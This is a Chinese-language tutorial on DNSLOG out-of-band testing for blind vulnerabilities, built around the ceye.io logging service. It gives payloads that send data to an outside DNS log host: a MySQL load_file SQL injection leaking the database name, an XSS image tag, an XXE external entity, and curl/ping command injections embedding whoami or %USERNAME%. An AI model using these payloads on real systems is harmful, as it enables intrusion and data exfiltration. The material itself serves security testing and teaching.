合理利用DNSLOG進行無回顯安全測試
在實際測試一些網站的安全性問題的時候,有些測試命令執行後是無回顯的,我們可以寫指令碼來進行盲注,但有些網站會封禁掉我們的ip地址,這樣我們可以通過設定ip代理池解決,但是遇到盲注往往效率很低,所以產生了DNSlog注入。
在使用dnslog之前我們需要先了解一下反引號符號:
符號:`
名稱:反引號,上分隔符
位置:反引號,這個字元一般在鍵盤的左上角,數字1的左邊,不要將其同單引號混淆
作用:反引號括起來的字串被shell解釋為命令列,在執行時,shell首先執行該命令列,並以它的標準輸出結果取代整個反引號(包括兩個反引號)部分。
DNSlog回顯測試如下:
首先需要有一個可以配置的域名,比如:ceye.io,然後通過代理商設定域名 ceye.io 的 nameserver 為自己的伺服器 A,然後再伺服器 A 上配置好 DNS Server,這樣以來所有 ceye.io 及其子域名的查詢都會到 伺服器 A 上,這時就能夠實時地監控域名查詢請求了,圖示如下。
DNS在解析的時候會留下日誌,咱們這個就是讀取多級域名的解析日誌,來獲取資訊
簡單來說就是把資訊放在高階域名中,傳遞到自己這,然後讀取日誌,獲取資訊。
這樣說原理很抽象,下面通過實際例子看下。
http://ceye.io 這是一個免費的記錄dnslog的平臺,我們註冊後到控制面板會給你一個二級域名:xxx.ceye.io,當我們把注入資訊放到三級域名那裡,後臺的日誌會記錄下來。
0x01SQL盲注
就以sql盲注為例。深入理解下DNSlog注入過程:
通過DNSlog盲注需要用的load_file()函式,所以一般得是root許可權。show variables like '%secure%';檢視load_file()可以讀取的磁碟。
1、當secure_file_priv為空,就可以讀取磁碟的目錄。
2、當secure_file_priv為G:\,就可以讀取G盤的檔案。
3、當secure_file_priv為null,load_file就不能載入檔案。
通過設定my.ini來配置。secure_file_priv=""就是可以load_flie任意磁碟的檔案。
在mysql命令列執行:select load_file('\\afanti.xxxx.ceye.io\aaa');其中afanti就是要注入的查詢語句
檢視平臺,dnsLog被記錄下來。
load_file()函式可以通過dns解析請求。
以sql-labs第五關:
payload:' and if((select load_file(concat('\\',(select database()),'.xxxxx.ceye.io\abc'))),1,0)-- -+
執行的sql語句:SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\',(select database()),'.xxxxx.ceye.io\abc'))),1,0)
檢視dnslog日誌,發現security資料庫被查詢出來:
0x02 XSS(無回顯)
通過盲打,讓觸發者瀏覽器訪問預設至的連結地址,如果盲打成功,會在平臺上收到如下的連結訪問記錄:
payload:><img src=http://xss.xxxx.ceye.io/aaa>讓src請求我們的dnslog平臺
0x03 ×××F(無回顯)
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">;
%remote;]>
<root/>
0x04命令執行(無回顯)
當 ping 一個域名時會對其進行一個遞迴 DNS 查詢的過程,這個時候就能在後端獲取到 DNS 的查詢請求,當命令真正被執行且平臺收到回顯時就能說明漏洞確實存在。
Linux
curl http://haha.xxx.ceye.io/`whoami<br/>ping
whoami`.xxxx.ceye.io
Windows
ping %USERNAME%.xxx.ceye.io